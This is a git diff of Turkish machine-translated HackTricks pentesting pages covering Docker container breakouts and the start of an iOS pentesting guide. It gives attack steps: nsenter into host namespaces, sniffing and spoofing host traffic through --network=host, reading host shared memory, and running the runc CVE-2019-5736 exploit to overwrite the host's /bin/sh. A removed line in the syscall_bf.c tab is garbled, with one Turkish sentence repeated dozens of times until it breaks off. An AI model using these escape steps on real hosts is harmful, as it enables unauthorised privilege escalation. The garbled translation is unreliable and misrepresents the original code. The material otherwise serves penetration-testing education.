Hizmet Reddi (DoS) saldırısına neden olabilirsiniz**. {% hint style="warning" %} -Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir şey çalıştırabilir ve **umarım hiç olmayan** aynı ns kısıtlamalarına sahip bir kabuk çalıştırabilirsiniz. +Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir şey çalıştırabilir ve umarım hiçbiri olmayan aynı ns kısıtlamalarına sahip bir kabuk **çalıştırabilirsiniz.** {% endhint %} ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` -Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinde ana bilgisayarın gönderdiği ve aldığı **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**. +Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**. -Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtekarlık yapabilirsiniz**. +Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtecilik yapabilirsiniz**. Aşağıdaki örneklerde olduğu gibi: * [Açıklama: Google SRE ile nasıl iletişime geçilir: Bulut SQL'de bir kabuk bırakma](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Meta veri servisi MITM, kök ayrıcalık yükseltmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) -Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine erişebileceksiniz** (ki bunlar bir konteynerin erişebileceğinden farklı olabilir). +Ayrıca ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine erişebileceksiniz** (bu, bir konteynerin erişebileceğinden farklı olabilir). ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim sağlarsınız. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül işlemleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` komutunu kullanın. +`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül işlemleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` komutunu kullanın. * **/dev/shm'yi İncele** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm` -* **Mevcut IPC tesislerini İncele** - Kullanılan herhangi bir IPC tesisinin olup olmadığını `/usr/bin/ipcs` ile kontrol edebilirsiniz. Şu şekilde kontrol edin: `ipcs -a` +* **Mevcut IPC tesislerini İncele** - Herhangi bir IPC tesisinin kullanılıp kullanılmadığını `/usr/bin/ipcs` ile kontrol edebilirsiniz. Şunu kontrol edin: `ipcs -a` ### Yetenekleri Kurtar @@ -483,42 +480,42 @@ cat /proc/self/status | grep CapEff ``` ### Kullanıcı ad alanı kötüye kullanımı simge bağlantısı aracılığıyla -[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkilemenize (belirli bir durumda dosyaları silmenize) olanak tanır. +İkinci teknik, [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) gönderisinde açıklanan, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkileyebileceğinizi (belirli bir durumda dosyaları silmek) göstermektedir.
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} ## CVE'ler ### Runc açığı (CVE-2019-5736) -Eğer `docker exec`'i kök olarak çalıştırabilirseniz (muhtemelen sudo ile), CVE-2019-5736'yı kötüye kullanarak bir konteynerden kaçarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (açık [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini bir **konteynerden üzerine yazar**, böylece docker exec çalıştıran herhangi biri yüklemeyi tetikleyebilir. +Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'yi kötüye kullanarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (açık [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, böylece docker exec çalıştıran herkes tetikleyebilir. -Yüklemeyi değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya, yürütme için docker konteynerine yerleştirilmelidir.\ -Yürütme sırasında, `[+] Overwritten /bin/sh successfully` anında aşağıdakini ana makineden yürütmeniz gerekir: +Payload'ı değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\ +Yürütme sırasında, `[+] Overwritten /bin/sh successfully` anında aşağıdakileri ana makineden yürütmeniz gerekmektedir: `docker exec -it /bin/sh` -Bu, main.go dosyasında bulunan yüklemeyi tetikleyecektir. +Bu, main.go dosyasında bulunan payload'ı tetikleyecektir. Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} -Konteynerin savunmasız olabileceği diğer CVE'ler bulunabilir, bir liste [burada](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) bulunabilir. +Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulunabilir. {% endhint %} ## Docker Özel Kaçış ### Docker Kaçış Yüzeyi -* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınamayız (varsayılan olarak IPC'ler aracılığıyla iletişim kuramaz, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u). +* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınılamaz (varsayılan olarak IPC'ler aracılığıyla iletişim kurulamaz, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u). * **Kök kullanıcı**: Varsayılan olarak işlemi çalıştıran kullanıcı kök kullanıcıdır (ancak ayrıcalıkları sınırlıdır). -* **Yetenekler**: Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Syscall'ler**: Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle). Kaçmaya çalışmak için diğer syscall'ler kullanılabilir. +* **Yetenekler:** Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +* **Syscall'ler:** Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle diğer syscall'ler kaçırılabilir). {% tabs %} {% tab title="x64 syscall'ler" %} @@ -564,7 +561,7 @@ Konteynerin savunmasız olabileceği diğer CVE'ler bulunabilir, bir liste [bura ``` {% endtab %} -{% tab title="syscall_bf.c" %}Dosya sistemi çağrıları (syscall) kullanan bir program, Linux çekirdeğine doğrudan erişim sağlar. Bu, bir Docker konteynerinden kaçmak için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını elde etmek için syscall kullanır. Bu yöntem, bir Docker konteynerindeki sınırlı ayrıcalıkları genişletmek için kullanılabilir. Bu program, hedef sistemde root ayrıcalıklarını +{% tab title="syscall_bf.c" %}Docker kaçışı, bir saldırganın Docker konteynerinden ana makineye erişim elde etmek için kullanabileceği bir yöntemdir. Bu, Docker'ın kötüye kullanılmasından kaynaklanan bir ayrıcalık yükseltme saldırısıdır. Saldırgan, Docker konteynerinde sınırlı bir kullanıcı olarak başlayabilir ve ardından Docker'ın sistem çağrılarını kullanarak ayrıcalıklı işlemler gerçekleştirebilir. Bu saldırı vektörüne karşı korunmak için Docker'ın güvenlik önlemlerini dikkatlice yapılandırmak önemlidir.{% endtab %} ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -630,10 +627,10 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ +Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md index 3966ccda1..819e86b15 100644 --- a/mobile-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -3,21 +3,21 @@
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ -Hemen Erişim Alın: +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ +Bugün Erişim Edinin: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
@@ -40,7 +40,7 @@ Bu sayfada **iOS simülatörü**, **emülatörler** ve **jailbreak** hakkında b ### Temel iOS Test İşlemleri -Test sırasında **çeşitli işlemler önerilecek** (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma...). Bu nedenle, bu işlemlerin nasıl gerçekleştirileceğini bilmiyorsanız, lütfen **sayfayı okumaya başlayın**: +Test sırasında **çeşitli işlemler önerilecek** (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma...). Bu nedenle, bu işlemlerin nasıl gerçekleştirileceğini bilmiyorsanız lütfen **sayfayı okumaya başlayın**: {% content-ref url="basic-ios-testing-operations.md" %} [basic-ios-testing-operations.md](basic-ios-testing-operations.md) @@ -48,7 +48,7 @@ Test sırasında **çeşitli işlemler önerilecek** (cihaza bağlanma, dosya ok {% hint style="info" %} Aşağıdaki adımlar için **uygulamanın cihaza yüklenmiş olması** ve uygulamanın **IPA dosyasının zaten edinilmiş olması** gerekmektedir.\ -Bunu nasıl yapacağınızı öğrenmek için [Temel iOS Test İşlemleri](basic-ios-testing-operations.md) sayfasını okuyun. +Bunu nasıl yapılacağını öğrenmek için [Temel iOS Test İşlemleri](basic-ios-testing-operations.md) sayfasını okuyun. {% endhint %} ### Temel Statik Analiz @@ -164,7 +164,7 @@ PID Name Identifier ``` ### Temel Numaralandırma ve Hooking -Uygulamanın **bileşenlerini numaralandırma** ve yöntemleri ve sınıfları kolayca **hooklama** öğrenin objection ile: +Uygulamanın bileşenlerini **numaralandırma** ve yöntemleri ve sınıfları kolayca **hooklama** yöntemlerini objection ile nasıl yapılacağını öğrenin: {% content-ref url="ios-hooking-with-objection.md" %} [ios-hooking-with-objection.md](ios-hooking-with-objection.md) @@ -172,26 +172,26 @@ Uygulamanın **bileşenlerini numaralandırma** ve yöntemleri ve sınıfları k ### IPA Yapısı -Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paketin** yapısına sahiptir. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Bundle** (Paket) uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `.app` adında bir dizin bulacaksınız. +Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paketin** yapısıdır. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `.app` adında bir dizin bulacaksınız. * **`Info.plist`**: Bu dosya uygulamanın belirli yapılandırma detaylarını tutar. * **`_CodeSignature/`**: Bu dizin, paketteki tüm dosyaların bütünlüğünü sağlayan bir imza içeren bir plist dosyasını içerir. * **`Assets.car`**: Simgeler gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv. * **`Frameworks/`**: Bu 